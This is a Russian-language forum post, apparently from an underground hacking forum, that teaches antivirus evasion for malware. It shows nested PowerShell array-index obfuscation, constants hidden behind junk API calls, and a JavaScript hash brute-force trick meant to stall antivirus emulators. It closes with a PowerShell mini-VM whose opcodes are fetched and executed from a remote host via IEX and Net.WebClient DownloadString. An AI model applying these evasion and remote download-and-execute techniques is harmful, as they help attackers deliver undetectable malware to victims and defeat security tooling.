JBovkpNM[367]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[368]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[369]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[370]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[371]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[372]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[373]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[374]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[375]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[376]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[377]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[378]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[379]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[380]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[381]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[382]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[383]])
$wEQRvXzPljnbqJI = @($aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[384]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[385]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[386]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[387]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[388]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[389]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[390]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[391]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[392]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[393]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[394]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[395]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[396]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[397]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[398]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[399]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[400]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[401]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[402]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[403]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[404]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[405]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[406]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[407]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[408]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[409]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[410]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[411]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[412]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[413]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[414]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[415]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[416]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[417]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[418]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[419]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[420]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[421]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[422]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[423]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[424]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[425]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[426]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[427]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[428]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[429]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[430]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[431]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[432]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[433]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[434]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[435]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[436]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[437]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[438]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[439]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[440]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[441]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[442]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[443]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[444]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[445]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[446]]],$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[447]]])
$TXvApZqgcdYbsSI = @($wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[448]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[449]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[450]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[451]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[452]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[453]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[454]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[455]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[456]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[457]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[458]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[459]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[460]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[461]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[462]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[463]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[464]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[465]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[466]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[467]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[468]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[469]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[470]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[471]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[472]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[473]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[474]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[475]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[476]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[477]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[478]]]],$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[479]]]])
$otMFgrnfQENzYWe = @($TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[480]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[481]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[482]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[483]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[484]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[485]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[486]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[487]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[488]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[489]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[490]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[491]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[492]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[493]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[494]]]]],$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[495]]]]])
$NGPcfHgiUqpBnMy = @($otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[496]]]]]],$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[497]]]]]],$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[498]]]]]],$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[499]]]]]],$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[500]]]]]],$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[501]]]]]],$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[502]]]]]],$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[503]]]]]])
$kuSNCfYHZogTMPh = @($NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[504]]]]]]],$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[505]]]]]]],$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[506]]]]]]],$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[507]]]]]]])
$WNYSgtsCPvpZoBL = @($kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[508]]]]]]]],$kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[509]]]]]]]])
$TpXcwgyfzZCaKRH = @($WNYSgtsCPvpZoBL[$kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[510]]]]]]]]])
$x = $TpXcwgyfzZCaKRH[$WNYSgtsCPvpZoBL[$kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[511]]]]]]]]]]
В чем логика? Для того, чтобы узнать, что лежит в $x, нужно сходить посмотреть массив $TpXcwgyfzZCaKRH по индексу [$WNYSgtsCPvpZoBL[$kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[511]]]]]]]]]
А как узнать индекс? Вместо него ссылка на другой массив $WNYSgtsCPvpZoBL и элемент в нем по индексу...? $kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[511]]]]]]]]
ну и так далее
А теперь представьте, что это не простой пример, где 'xss.pro' лежит на виду в первом массиве и можно догадаться, что окажется в x. А вот такой алгоритм - это поиск какого то элемента мат выражения...То есть прогоняем этим алгоритмом уже то, что поморфили ранее.
А че представлять, в общем то, вот боевой пример.
Код:
https://pastebin.com/rkgc5V9X
$((($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2371]] + $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2372]]) * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2373]] * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2374]] * $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2375]]))) + ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2376]]))
{
$QsdADZVJCeOFWhb = $((($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2377]] + $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2378]]) * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2379]] * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2380]] - $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2381]]))) + ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2382]]));
$GkOEiNbWTfIpzmu = ($([int]($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2383]] -split $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2384]])[$CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2385]]]) - $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2386]])
}
Узнаем тут наш алгоритм с предыдущего шага, где сплитили инты.
$GkOEiNbWTfIpzmu = ($([int]($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2383]] -split $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2384]])[$CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2385]]]) - $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2386]])
Как то так
Такая магия возможна из-за конвеерной обратки сорцов. Шаг за шагом, алгоритмы накладываются слоями. А если исполнишь - получишь в $x - 'xss.pro'. Че как, все понятно?))) А представь, если бы морфило так какой нибудь С++. Что получилось бы при дизассемблировании? Указатель на указатель на указатель который лежит в указателе и который указателем используется)) И это далеко не все показанные мной тут алгоритмы. Так вот по поводу моего прошлого поста и вызова мусорных апи. Поясню, чтобы стало понятнее. Ты заранее составляешь ассоциативный массив. Словарь в простонародье. Где число какое нибудь это ключ, а значения для этого ключа это вызовы апи (вин апи, дотнета, стандартной библиотеки - не суть), которые дают, с определенными аргументами при вызове, это самое число. Тебе это надо заранее либо вручную просчитать, либо генератором, что было бы универсальнее. Например у нас такое соответствие по ключам и значениям:
int 1 : STD_API1(trash_arg1, trash_arg2), WIN_API1(trash_arg1), WIN_API2(trash_arg);
int 2 : STD_API2(trash_arg1), DOTNET_API(trash_arg, trash_arg2)
....
Что это для нас значит? Например первый символ в строке xss.pro это 120 в ASCII. Ты разбиваешь 120 на N слагаемых. Одни должны быть твоими ключами в ассоциативном массиве, а вторые - недостающими до 120. То есть api_call + k = n. Генеришь и заменяешь в исходнике вместо [char]120 -> STD_API2(trash_arg1) + STD_API1(trash_arg1, trash_arg2) + WIN_API1(trash_arg1) + 116. Потому что вызов STD_API2(trash_arg1) даст 2(ты заранее просчитал), а STD_API1(trash_arg1, trash_arg2) и WIN_API1(trash_arg1) +1 +1 соответственно. 120 - 4 = 116.
Почему именно так делать мусорные вызовы апи? И вообще все остальное? Ты связываешь контекст выполнения с мусорными вызовами и остальными элементами кодогенерации, описанными в моей "статье-коментарии". Ничего нельзя просто скипнуть. Потому что от этого зависит целостность данных.
Единственное, с чем не разобрались - с вычислительной сложностью, потому что все что выше, аверы ,думаю, еще могут кое как можно проэмулить без особой боли.
Вот тебе пример, вычислительно сложный. На JavaScript.
JavaScript:
var sha256 = function sha256(ascii) {
function rightRotate(value, amount) {
return (value>>>amount) | (value<<(32 - amount));
};
var mathPow = Math.pow;
var maxWord = mathPow(2, 32);
var lengthProperty = 'length'
var i, j;
var result = ''
var words = [];
var asciiBitLength = ascii[lengthProperty]*8;
var hash = sha256.h = sha256.h || [];
var k = sha256.k = sha256.k || [];
var primeCounter = k[lengthProperty];
/*/
var hash = [], k = [];
var primeCounter = 0;
//*/
var isComposite = {};
for (var candidate = 2; primeCounter < 64; candidate++) {
if (!isComposite[candidate]) {
for (i = 0; i < 313; i += candidate) {
isComposite[i] = candidate;
}
hash[primeCounter] = (mathPow(candidate, .5)*maxWord)|0;
k[primeCounter++] = (mathPow(candidate, 1/3)*maxWord)|0;
}
}
ascii += '\x80'
while (ascii[lengthProperty]%64 - 56) ascii += '\x00'
for (i = 0; i < ascii[lengthProperty]; i++) {
j = ascii.charCodeAt(i);
if (j>>8) return;
words[i>>2] |= j << ((3 - i)%4)*8;
}
words[words[lengthProperty]] = ((asciiBitLength/maxWord)|0);
words[words[lengthProperty]] = (asciiBitLength)
for (j = 0; j < words[lengthProperty];) {
var w = words.slice(j, j += 16);
var oldHash = hash;
hash = hash.slice(0, 8);
for (i = 0; i < 64; i++) {
var i2 = i + j;
var w15 = w[i - 15], w2 = w[i - 2];
var a = hash[0], e = hash[4];
var temp1 = hash[7]
+ (rightRotate(e, 6) ^ rightRotate(e, 11) ^ rightRotate(e, 25))
+ ((e&hash[5])^((~e)&hash[6])) // ch
+ k[i]
+ (w[i] = (i < 16) ? w[i] : (
w[i - 16]
+ (rightRotate(w15, 7) ^ rightRotate(w15, 18) ^ (w15>>>3))
+ w[i - 7]
+ (rightRotate(w2, 17) ^ rightRotate(w2, 19) ^ (w2>>>10))
)|0
);
var temp2 = (rightRotate(a, 2) ^ rightRotate(a, 13) ^ rightRotate(a, 22))
+ ((a&hash[1])^(a&hash[2])^(hash[1]&hash[2]));
hash = [(temp1 + temp2)|0].concat(hash);
hash[4] = (hash[4] + temp1)|0;
}
for (i = 0; i < 8; i++) {
hash[i] = (hash[i] + oldHash[i])|0;
}
}
for (i = 0; i < 8; i++) {
for (j = 3; j + 1; j--) {
var b = (hash[i]>>(j*8))&255;
result += ((b < 16) ? 0 : '') + b.toString(16);
}
}
return result;
};
function calcByHash(sha256String, length){
const alphabet = "abcdefghijklmnopqrstuvwxyz".split("");
let str_ = '';
while(sha256(str_) !== sha256String){
if(str_.length === length){
str_= '';
}
str_ += alphabet[Math.floor(Math.random() * alphabet.length)];
}
return str_;
}
alert(calcByHash('58e0413224af6b6d3505dd1819d02491c34588de7a4dc6a9ad48a8f7e08e2f7b', 3));
Перебирает алфавит, достает рандомный символ из массива, с алфавитом в lowercase, и складывает в str_. До тех пор, пока str_ не будет равняться хэшу, который мы передаем в calcByHash. Если str_ достиг длины, которую мы передаем в аргументе, то str_ обнуляется. Такой вот незамысловатый брут хэша небольшой длины.
alert(calcByHash('58e0413224af6b6d3505dd1819d02491c34588de7a4dc6a9ad48a8f7e08e2f7b', 3)) - в данном случае calcByHash вернет 'xss' строку. Где то через 4-6 секунд вычислений(На Intel core i5 7th gen). Больших размеров строки не советую. Лучше 'xss' + '.is' по раздельности считать. calcByHash() + calcByHash() = ~ 12 секунд. Если захочешь посчитать 'xss.pro' хэш одним вызовом calcByHash, то будешь ждать ОЧЕНЬ долго.
Достаточно таким образом поискать элемент по хэшу в мат выражении, составленом на предыдущих этапах и ты сразу же шлешь эмуляторы всех аверов нахуй, вот так незамысловато. При этом скипнуть нельзя, поскольку, не найдешь хэш - не найдешь и элемент мат выражения. А значит не найдешь важную строку, которая идет аргументом в важную апи, от которой зависит работа твоей программы. Можешь еще доработать мой пример и солить хэш, чтобы в calcByHash, в каждом билде шел уникальный хэш, а не один и тот же.
Вот после этих всех шагов, пора выпускать тяжелую артелерию, (хотя обфускация на уровне сорцов, таким образом, что я выше описал, тоже очень сильно портит жизнь аверам), от чего аверы не могут ловить сигнатуры в рантайме, а значит, лишены важной возможности анализировать малварь, при хуке палевной апи функции в малвари. Каков смысл давать детект только на основе вызова, если контекст потерян? Если бы палило только на основании апи вызовов, 100500 false positive было бы не избежать, то есть для аверов это не тру путь. Всегда идет связка - какое то палево - рескан памяти.
Я покажу лишь основу, дальше каждый дрочет как он хочет
Короче VM внутри VM. Возьмем на примере опять же powershell. Но ничего не мешает применить данный коцепт к другим яп. Мы знаем, что PS это интерпретатор, который написан на c#, однако ничего не мешает нам сделать внутри него свою вм.
Код:
function execute{
param($opcodes_arr)
$stack = New-Object System.Collections.Stack
foreach($opcode in $opcodes_arr){
switch($opcode){
'HALT' {
return;
}
'PRINT' {
Write-Host $stack.Peek()
break;
}
'ICONST' {
$stack.Push($opcode[1])
break;
}
'IADD' {
$val1 = $stack.Pop()
$val2 = $stack.Pop()
$stack.Push($($val1 + $val2))
break;
}
'ISUB' {
$val1 = $stack.Pop()
$val2 = $stack.Pop()
$stack.Push($($val2 - $val1))
break;
}
}
}
}
execute -opcodes_arr @(
@('ICONST', 5),
@('ICONST', 10)
@('IADD'),
@('PRINT'),
@('ICONST', 15),
@('ISUB'),
@('ICONST', 15),
@('ISUB'),
@('PRINT'),
@('HALT'))
@(
@('ICONST', 5),
@('ICONST', 10)
@('IADD'),
@('PRINT'),
@('ICONST', 15),
@('ISUB'),
@('ICONST', 15),
@('ISUB'),
@('PRINT'),
@('HALT')
)
Код:
function execute{
param($opcodes_arr)
$stack = New-Object System.Collections.Stack
foreach($opcode in $opcodes_arr){
switch($opcode){
'HALT' {
return;
}
'PRINT' {
IEX(New-Object Net.WebClient).DownloadString('http://ip:port/PRINT_OPCODE.ps1'); Invoke-PrintOpcode -stack [ref]$stack
}
'ICONST' {
IEX(New-Object Net.WebClient).DownloadString('http://ip:port/ICONST_OPCODE.ps1'); Invoke-IconstOpcode -stack [ref]$stack
}
'IADD' {
IEX(New-Object Net.WebClient).DownloadString('http://ip:port/IADD_OPCODE.ps1'); Invoke-IAddOpcode -stack [ref]$stack
}
'ISUB' {
IEX(New-Object Net.WebClient).DownloadString('http://ip:port/ISUB_OPCODE.ps1'); Invoke-ISubOpcode -stack [ref]$stack
}
}
}
}
execute -opcodes_arr @(
@('ICONST', 5),
@('ICONST', 10)
@('IADD'),
@('PRINT'),
@('ICONST', 15),
@('ISUB'),
@('ICONST', 15),
@('ISUB'),
@('PRINT'),
@('HALT'))
P.S Перечитал, понесло меня, хотел обойтись парой советов
Последнее редактирование модератором: